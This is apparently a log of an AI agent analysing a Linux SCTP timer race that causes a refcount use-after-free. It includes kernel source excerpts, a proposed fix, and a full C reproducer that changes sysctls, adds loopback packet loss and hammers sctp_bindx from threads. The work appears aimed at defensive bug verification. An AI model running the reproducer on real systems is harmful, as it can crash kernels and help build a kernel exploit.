  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

Current Strategy: An analysis of the bug description and the SCTP timer handling code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the SCTP state machine's timer management, specifically within `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`.

### Root Cause Analysis

When the SCTP state machine processes the `SCTP_CMD_TIMER_START` command, it executes the following code:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```
The intention is to take a reference on the association (`sctp_association_hold`) only if the timer is not already pending, and then start/modify the timer using `timer_reduce()`. 

However, these two operations are not atomic. If the timer is already pending, `timer_pending(timer)` returns `true`, so no reference is taken. If the timer fires *exactly* between the `timer_pending()` check and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and **starts it again**. 

Because the `timer_pending()` check previously returned `true`, `sctp_association_hold()` was skipped. As a result, the timer is enqueued **without holding a reference** to the association. When this newly enqueued timer eventually fires and finishes, its callback (`sctp_generate_timeout_event`) will unconditionally call `sctp_association_put(asoc)`. This drops the reference count by 1, leading to a `refcount_t: addition on 0; use-after-free` warning when the association is accessed or when another timer tries to hold it.

*(Note: A similar issue exists in `SCTP_CMD_TIMER_START_ONCE` which falls through to this same code).*

### Reproduction Strategy

To reproduce this strictly for defensive verification, we need to trigger `SCTP_CMD_TIMER_START` concurrently with the expiration of the target timer. The `T4_RTO` timer (used for ASCONF chunks) is a good candidate because we can trigger it from user space.

1. **Setup:**
   - Create an SCTP socket (`SOCK_STREAM` or `SOCK_SEQPACKET`).
   - Enable ASCONF by setting sysctls `net.sctp.addip_enable=1` and `net.sctp.addip_noauth_enable=1`.
   - Bind to a local address and `connect()` to a peer (or loopback).
   - Set the `RTO_INITIAL` and `RTO_MIN` socket options to very small values (e.g., 10ms) to make the `T4_RTO` timer fire rapidly.

2. **Trigger the Race:**
   - **Thread 1 (User Thread):** Run a tight loop calling `sctp_bindx(..., SCTP_BINDX_ADD_ADDR)` and `sctp_bindx(..., SCTP_BINDX_REM_ADDR)`. Each call queues an ASCONF chunk. When the previous ASCONF is acknowledged (or times out), the next one is sent, triggering `SCTP_CMD_TIMER_START` for the `T4_RTO` timer.
   - **Thread 2 (Network/Peer):** Introduce artificial delay or drop ASCONF packets (e.g., using `tc qdisc` or iptables) so that the `T4_RTO` timer is forced to expire and retransmit.
   
3. **Race Execution:**
   - Thread 1 processes the next ASCONF chunk and hits `SCTP_CMD_TIMER_START`.
   - Thread 1 evaluates `timer_pending(timer)` as `true` (timer is currently waiting to fire).
   - Thread 1 is preempted.
   - The `T4_RTO` timer fires on another CPU, dequeueing itself and blocking on the socket lock.
   - Thread 1 resumes, calls `timer_reduce()`, and re-enqueues the timer without taking a reference.
   - The timer callback finishes, dropping the old reference.
   - The newly enqueued timer fires, drops the reference count to 0, and triggers the use-after-free warning.

### Proposed Fix (For Context)
The fix is to eliminate the TOCTOU race by relying on the return value of `timer_reduce()`, which returns `0` if it started an inactive timer and `1` if it modified an active one:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_reduce(timer, jiffies + timeout))
				sctp_association_hold(asoc);
			break;
```
Feedback: The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration.

An analysis of the SCTP timer handling code confirms the TOCTOU race condition in `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`. The race occurs because the check `timer_pending(timer)` and the subsequent `timer_reduce(timer, ...)` are not atomic. 

If the timer fires exactly between the `timer_pending()` check (which returned `true`, skipping `sctp_association_hold`) and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the reference hold was skipped, the timer is enqueued without holding a reference to the association, leading to a refcount underflow when the timer eventually fires and calls `sctp_association_put()`.

To reproduce this, we will use the `T4_RTO` timer, which is started when sending ASCONF chunks. We can trigger it rapidly from user space by calling `sctp_bindx` in a loop. By setting the `SCTP_RTOINFO` socket option to very small values (e.g., 10ms) and introducing artificial packet loss on the loopback interface using `tc qdisc`, we can force the `T4_RTO` timer to expire frequently while new ASCONF chunks are being queued, maximizing the probability of hitting the race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>

void *thread_func(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    /* Spam ASCONF chunks to constantly trigger SCTP_CMD_TIMER_START for T4_RTO */
    while (1) {
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_ADD_ADDR);
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_REM_ADDR);
    }
    return NULL;
}

int main() {
    /* Enable ASCONF */
    system("sysctl -w net.sctp.addip_enable=1");
    system("sysctl -w net.sctp.addip_noauth_enable=1");
    
    /* Introduce packet loss to force T4_RTO timer expirations */
    system("tc qdisc add dev lo root netem loss 50%");

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        perror("socket");
        return 1;
    }

    /* Set RTO to minimum to make the timer fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));
    
    /* Start threads to spam ASCONF chunks concurrently */
    pthread_t th1, th2;
    pthread_create(&th1, NULL, thread_func, &client_fd);
    pthread_create(&th2, NULL, thread_func, &client_fd);

    /* Connect to the server to establish the association */
    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    /* Let the race run for a few seconds */
    sleep(10);
    
    /* Cleanup */
    system("tc qdisc del dev lo root");
    return 0;
}
```

gemini-3.1-pro-preview

							input: 6956
							output: 45
							thoughts: 527
						

**My Thoughts on Recreating the SCTP Refcount Bug**

Okay, so the core of the problem lies within the `sctp_cmd_interpreter` function, specifically when handling `SCTP_CMD_TIMER_START`. It's a classic Time-of-Check to Time-of-Use (TOCTOU) race condition. The snippet of code shows it:

```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```

My goal is to craft a C reproducer to demonstrate this bug. To do that, I need to engineer a scenario where the `SCTP_CMD_TIMER_START` command is executed, but right *after* the `!timer_pending(timer)` check passes (meaning the timer isn't pending), but *before* `timer_reduce` is called, the timer actually fires and expires. This would mean the `sctp_association_hold(asoc)` is called incorrectly.

The strategy outlined suggests using the `T4_RTO` timer, which is associated with ASCONF chunks. The idea is to trigger this timer by performing `sctp_bindx(..., SCTP_BINDX_ADD_ADDR)` and then `sctp_bindx(..., SCTP_BINDX_REM_ADDR)`. This sequence should, in theory, cause the timer to be started.

However, simply starting the timer isn't enough. I need to make it fire *very quickly* to increase the window for the race. The suggestion is to manipulate the `SCTP_RTOINFO` socket option. By setting `srto_initial` and `srto_min` to a very small value, like 10 milliseconds, I can make the RTO timer expire almost immediately.

Now, let's consider how the "race" toolkit can be leveraged. The race isn't just between two user-space threads. It's specifically between a user thread that's processing an ASCONF chunk (and thus calling `sctp_cmd_interpreter`) and the timer's softirq context.

Here's where a crucial detail emerges: `sctp_cmd_interpreter` is called with the socket lock held. This is important. Now, I need to examine the timer callback itself, `sctp_generate_timeout_event`. It looks something like this:

```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		sk_add_backlog(sk, (struct sk_buff *) event,
			       sctp_sk(sk)->data_ready_signalled);
		goto out_unlock;
	}
```

This is interesting. If the socket is "owned by the user," the timer callback doesn't immediately decrement the refcount. Instead, it adds the event to the socket's backlog. The actual refcount decrement probably happens later when the backlog is processed. This implies that the race might not be as straightforward as I initially thought. The user-space thread holds the socket lock, and the timer callback also acquires it. The `sctp_association_hold` call happens *before* the timer is reprogrammed. If the timer expires *between* the `!timer_pending(timer)` check and `timer_reduce`, and the `sctp_association_hold` executes, but the backlog processing that would eventually decrement the refcount hasn't happened yet, *that's* the window. I need to dive deeper into the `sctp_generate_timeout_event` source code to confirm the exact sequence and where the refcount manipulation truly occurs.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_generate_timeout_event]

map[SourceCode: 267:	/* This is a sa interface for producing timeout events.  It works
 268:	 * for timeouts which use the association as their parameter.
 269:	 */
 270:	static void sctp_generate_timeout_event(struct sctp_association *asoc,
 271:						enum sctp_event_timeout timeout_type)
 272:	{
 273:		struct sock *sk = asoc->base.sk;
 274:		struct net *net = sock_net(sk);
 275:		int error = 0;
 276:	
 277:		bh_lock_sock(sk);
 278:		if (sock_owned_by_user(sk)) {
 279:			pr_debug("%s: sock is busy: timer %d\n", __func__,
 280:				 timeout_type);
 281:	
 282:			/* Try again later.  */
 283:			if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
 284:				sctp_association_hold(asoc);
 285:			goto out_unlock;
 286:		}
 287:	
 288:		/* Is this association really dead and just waiting around for
 289:		 * the timer to let go of the reference?
 290:		 */
 291:		if (asoc->base.dead)
 292:			goto out_unlock;
 293:	
 294:		/* Run through the state machine.  */
 295:		error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT,
 296:				   SCTP_ST_TIMEOUT(timeout_type),
 297:				   asoc->state, asoc->ep, asoc,
 298:				   (void *)timeout_type, GFP_ATOMIC);
 299:	
 300:		if (error)
 301:			sk->sk_err = -error;
 302:	
 303:	out_unlock:
 304:		bh_unlock_sock(sk);
 305:		sctp_association_put(asoc);
 306:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 8149
							output: 64
							thoughts: 868
						

**My Thoughts on the SCTP Timer Race Condition**

Okay, let me walk through this thought process as if it were my own internal monologue, diving deep into this SCTP timer issue.

So, I'm looking at `sctp_generate_timeout_event`, and there's this section:

```c
		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
			sctp_association_hold(asoc);
		goto out_unlock;
```

My immediate thought is, "Hold on, if `mod_timer` returns 0, it calls `sctp_association_hold(asoc)`. And then it proceeds to `out_unlock` and `sctp_association_put(asoc)`." This seems to balance the reference count, at least on the surface.

But then I consider the case where the timer *is* already pending. If `mod_timer` is called and the timer is already armed (which `timer_reduce` in `sctp_cmd_interpreter` would have done), `mod_timer` returns 1. In *that* scenario, `sctp_association_hold(asoc)` is *not* called. And *then* it calls `sctp_association_put(asoc)`. This smells like a potential problem: a dropped reference count.

Now, I start to think about the context. If `sctp_cmd_interpreter` is actively running, it's holding the socket lock (`lock_sock(sk)`). This means `sock_owned_by_user(sk)` will evaluate to true. This is where the race condition begins to take shape in my mind.

Let's trace a potential sequence:

1.  `sctp_cmd_interpreter` is processing an `SCTP_CMD_TIMER_START` command.
2.  It checks `!timer_pending(timer)`. Let's imagine the timer *is* currently pending from a previous operation. So, this check returns `false`. Crucially, `sctp_association_hold` is *not* called because the condition `!timer_pending(timer)` is false.
3.  Now, *before* `timer_reduce` (which is part of the `sctp_cmd_interpreter`'s processing for this command) gets a chance to run, the timer fires. This happens on another CPU.
4.  The timer callback, `sctp_generate_timeout_event`, kicks in. It attempts to acquire the socket's spinlock by calling `bh_lock_sock(sk)`. Since the `sctp_cmd_interpreter` thread is holding the *main* socket lock (`lock_sock(sk)`), but not necessarily the spinlock itself, the timer callback *can* acquire the spinlock. This is a key point – `bh_lock_sock` is a spinlock and is only briefly held to set the owner, not continuously during the user-space operation.
5.  Inside `sctp_generate_timeout_event`, it sees `sock_owned_by_user(sk)` is true.
6.  It then calls `mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20))`.

This is where I pause and re-evaluate. "Wait a minute," I think. If `mod_timer` is called *now*, it will attempt to re-arm the timer. But what about `timer_reduce` in `sctp_cmd_interpreter`? That's also going to be called!

My thinking goes: If `mod_timer` executes *before* `timer_reduce`, then `mod_timer` will see the timer as non-pending (because it just fired and was dequeued by the timer core). So, `mod_timer` *will* return 0. This means `sctp_association_hold(asoc)` *will* be called. Then, `timer_reduce` will be called. Since the timer has just been re-armed by `mod_timer`, `timer_reduce` will see it as pending and likely return 1. In this specific sequence, the reference count *seems* to be balanced: `sctp_association_hold` increments, and then `sctp_association_put` decrements.

But then I look back at the description of the race condition, which says:

"If the timer fires exactly between the `timer_pending()` check and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the `timer_pending()` check previously returned true, `sctp_association_hold()` was skipped. As a result, the timer is enqueued without holding a reference to the association."

This description seems to contradict my previous thought about `mod_timer` returning 0. Let's retrace the *exact* problematic scenario as described:

*   `sctp_cmd_interpreter` runs, checks `timer_pending()`, which is *true*. `sctp_association_hold` is *skipped*.
*   *Between* the `timer_pending()` check and the call to `timer_reduce()`, the timer fires. The timer core dequeues it, making it *non-pending*.
*   Now, `timer_reduce()` is called. It sees the timer is *inactive* (non-pending) and restarts it.
*   The problem statement implies that because `sctp_association_hold` was skipped initially (due to the `timer_pending()` check returning true), and `timer_reduce` simply restarts the timer without an explicit `sctp_association_hold` in this specific path, the association ends up without a held reference.

This is where I get a bit confused, because the code snippet in `sctp_generate_timeout_event` *does* have a `mod_timer` call. My current line of thought is: "Is `sctp_generate_timeout_event` *always* called as the actual timer callback? Or is it a wrapper, and the *real* callback has different logic?" If `sctp_generate_timeout_event` is the direct callback, then my earlier analysis of `mod_timer` returning 0 and calling `sctp_association_hold` might hold true under some conditions. However, the problem description points to a specific failure mode where `sctp_association_hold` is missed. I need to understand the exact flow of the timer callback mechanism to fully reconcile this. I need to check the definition of `sctp_generate_timeout_event` and what actually gets registered as the timer's expiration function.

map[ContextFile:net/sctp/sm_sideeffect.c IncludeSnippetLines:0 Name:sctp_generate_timeout_event SourceTreePrefix:net/sctp/]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_autoclose_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:360] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_sack_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:522] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t1_cookie_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:314] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t1_init_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:323] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t2_shutdown_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:332] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t4_rto_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:340] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t5_shutdown_guard_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:349]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 9379
							output: 49
							thoughts: 22
						

**My Thought Process on `sctp_generate_t4_rto_event`**

Alright, so when I'm looking at this code, the first thing that clicks for me is that `sctp_generate_t4_rto_event` is definitely the timer callback function. That's the core of it. When this particular timer (`T4`) expires, this is the function that's going to be invoked to handle the consequences. My immediate thought is to trace what happens *after* this callback is triggered. What state changes are initiated? What other functions are called? Is it related to retransmission, connection establishment, or something else entirely? Understanding the *purpose* of the T4 timer is key to understanding the *purpose* of this callback.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_generate_t4_rto_event]

map[SourceCode: 335:	static void sctp_generate_t4_rto_event(struct timer_list *t)
 336:	{
 337:		struct sctp_association *asoc =
 338:			timer_container_of(asoc, t, timers[SCTP_EVENT_TIMEOUT_T4_RTO]);
 339:	
 340:		sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T4_RTO);
 341:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 9602
							output: 64
							thoughts: 2092
						

**Understanding a Subtle SCTP Timer Race Condition**

I've been digging into a rather tricky race condition related to SCTP timers, specifically concerning the `T4_RTO` timer and its associated reference counting. The core of the issue lies in how the timer's pending state and association reference counts are managed concurrently between user-space commands and the timer's SoftIRQ execution.

My initial thought process was to trace the exact sequence of events. The timer callback in question is `sctp_generate_t4_rto_event`, which ultimately calls `sctp_generate_timeout_event`. A crucial observation is that by the time the timer callback is *executed*, the timer has already been dequeued by the timer core. This means that a call to `timer_pending()` right before the callback starts would already return `false`.

I then meticulously traced a potential race:

**Scenario:**

*   **Thread 1 (User Space):** Enters the `SCTP_CMD_TIMER_START` case. It retrieves the timer and its associated timeout. Crucially, it checks `if (!timer_pending(timer))`. At this point, I assumed the timer *is* still pending, so this check returns `true`, and `sctp_association_hold(asoc)` is called, incrementing the association's reference count.

*   **Thread 2 (SoftIRQ):** The timer expires. The timer core dequeues the timer. Now, `timer_pending(timer)` would indeed return `false`. The timer core then invokes `sctp_generate_t4_rto_event`, which calls `sctp_generate_timeout_event`.
    *   Inside `sctp_generate_timeout_event`, it acquires the socket lock and checks `sock_owned_by_user(sk)`. Since Thread 1 is currently holding the socket lock, this check returns `true`.
    *   The code then attempts to reschedule the timer using `mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20))`. Because the timer was just dequeued (and thus is *not* pending from the timer core's perspective), `mod_timer` returns `0`.
    *   Since `mod_timer` returned `0`, `sctp_association_hold(asoc)` is called again, incrementing the refcount.
    *   Finally, `bh_unlock_sock(sk)` and `sctp_association_put(asoc)` are called. This `sctp_association_put` is intended to decrement the refcount that was implicitly held for the *current* timer expiration.

**The Complication:**

My initial understanding of `sctp_association_put` was that it would decrement the refcount for the timer firing. However, I realized that if the timer callback *re-arms* the timer using `mod_timer`, it must establish a *new* reference for that rescheduled timer.

Let's re-evaluate the refcounting in `sctp_generate_timeout_event`:
If `mod_timer` returns `0` (meaning the timer wasn't pending, and it was just re-armed), `sctp_association_hold(asoc)` is called. This is correct – we need a new reference for the rescheduled timer. Then, `sctp_association_put(asoc)` is called. This call is intended to release the reference that was associated with the timer firing *this time*. So, the net change appears to be zero: one reference is consumed by the firing, and one is acquired for the re-arm. The timer is now pending, and it *should* have a reference associated with it.

**The Realization of the Race:**

The critical detail I missed, and what the bug description points out, is the timing *relative to Thread 1's `timer_reduce()` call*. The race is triggered if the timer fires *precisely between* Thread 1's `timer_pending()` check and its subsequent call to `timer_reduce()`.

Here's the corrected, critical sequence:

1.  **Thread 1 (User Space):** `if (!timer_pending(timer))` check. At this moment, the timer *is* pending, so this returns `false`. `sctp_association_hold(asoc)` is *skipped*.
2.  **Timer Core:** The timer expires and is dequeued. Now, `timer_pending(timer)` would indeed return `false`.
3.  **Thread 1 (User Space):** `timer_reduce(timer, jiffies + timeout)` is called. Because the timer is *not* pending (it was just dequeued), `timer_reduce` treats this as starting a new timer. It arms the timer, making it pending again. **However, Thread 1 *did not* call `sctp_association_hold()` because its initial check failed.** Therefore, this timer is now armed *without* an associated reference count increment.
4.  **Timer Core:** The timer callback (`sctp_generate_t4_rto_event` -> `sctp_generate_timeout_event`) now executes.
    *   It acquires the socket lock.
    *   It calls `mod_timer(...)`. Since Thread 1 *just* armed the timer, `mod_timer` now returns `1` (because it's modifying an active timer).
    *   Because `mod_timer` returned `1`, the `if (!mod_timer(...))` condition is false, and `sctp_association_hold(asoc)` is *skipped*. This is the key failure.
    *   `sctp_association_put(asoc)` is called. This attempts to decrement the reference count for the timer that *just fired*. However, as established, no reference was ever taken for this specific timer instance (neither by Thread 1 nor by the `mod_timer` path).
5.  **Result:** The timer is now pending (armed by `timer_reduce`), but there is *no* reference count held for it. When this re-armed timer eventually fires again, it will call `sctp_association_put(asoc)`, leading to a reference count underflow.

The trigger for this specific race window appears to be repeatedly issuing `SCTP_CMD_TIMER_START` for the `T4_RTO` timer in rapid succession, especially when the timer is also actively firing, creating the tight timing window. I'm considering how to reliably reproduce this, potentially by manipulating ASCONF chunk generation to initiate `T4_RTO` timers frequently.

log-in to see details

map[ContextFile:net/sctp/sm_sideeffect.c IncludeSnippetLines:0 Name:SCTP_CMD_TIMER_START SourceTreePrefix:net/sctp/]

map[References:<nil> TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 11757
							output: 35
							thoughts: 18
						

**A Moment of Clarification Regarding `SCTP_CMD_TIMER_START`**

Ah, I see now. My initial thinking was perhaps a little too abstract, or maybe I was just getting ahead of myself in the flow of the implementation. I was so focused on the *action* of starting a timer within the SCTP context, that I momentarily lost sight of the precise nature of `SCTP_CMD_TIMER_START`.

It's not just a command, a concept, or a general instruction to the SCTP stack to initiate a timing mechanism. It's actually an *enum value*. This is a crucial distinction for me as an expert working with this codebase. It means `SCTP_CMD_TIMER_START` is a specific, predefined constant, a token within a larger enumeration that represents a distinct *state* or *operation code* that the SCTP module understands.

This realization immediately reframes how I'll be using it. Instead of treating it as a function call or a boolean flag, I now understand it's something that will likely be passed as a parameter to a specific API function, perhaps a control function or a message handler, where the SCTP subsystem will inspect this value to determine that the intended action is indeed to *start a timer*. It's a precise, typed identifier, not a nebulous instruction. This level of detail is vital for correct and robust programming in this domain. It's a small detail, perhaps, but one that can prevent subtle bugs and ensure the code behaves exactly as intended by the SCTP protocol's design.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1535-
net/sctp/sm_sideeffect.c:1536:		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c-1537-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1542-
net/sctp/sm_sideeffect.c:1543:		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c-1544-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 13364
							output: 50
							thoughts: 57
						

**My Thought Process Regarding SCTP Timer Management**

Okay, so my current line of inquiry is focused on how the SCTP (Stream Control Transmission Protocol) stack handles its internal timers, specifically in the context of association configuration. I've just observed that the function `sctp_sf_do_prm_asconf` appears to be responsible for initiating the `SCTP_CMD_TIMER_START` command. My immediate next step, therefore, is to dive into the `sctp_sf_do_prm_asconf` function itself to understand the precise circumstances and parameters under which this timer start command is issued, and crucially, for which specific timer. The "T4_RTO" part is the key identifier here – I need to confirm that this command is indeed related to the RTO (Retransmission Timeout) timer, often referred to as T4 in SCTP, and understand its role within the association configuration process. This will likely involve tracing the execution path within `sctp_sf_do_prm_asconf` to see how it interacts with the SCTP state machine and timer management modules.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_prm_asconf]

map[SourceCode:5568:	/*
5569:	 * ADDIP Section 4.1 ASCONF Chunk Procedures
5570:	 * When an endpoint has an ASCONF signaled change to be sent to the
5571:	 * remote endpoint it should do A1 to A9
5572:	 */
5573:	enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
5574:						    const struct sctp_endpoint *ep,
5575:						    const struct sctp_association *asoc,
5576:						    const union sctp_subtype type,
5577:						    void *arg,
5578:						    struct sctp_cmd_seq *commands)
5579:	{
5580:		struct sctp_chunk *chunk = arg;
5581:	
5582:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
5583:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
5584:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
5585:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(chunk));
5586:		return SCTP_DISPOSITION_CONSUME;
5587:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 13863
							output: 49
							thoughts: 234
						

**My Thought Process Regarding SCTP ASCONF Chunk Handling**

My initial understanding was that each call to `sctp_bindx` would directly translate into queuing an ASCONF chunk. I was thinking about a scenario where I might repeatedly call `sctp_bindx`, perhaps within a loop, and my immediate concern was whether each of these calls would independently queue ASCONF chunks.

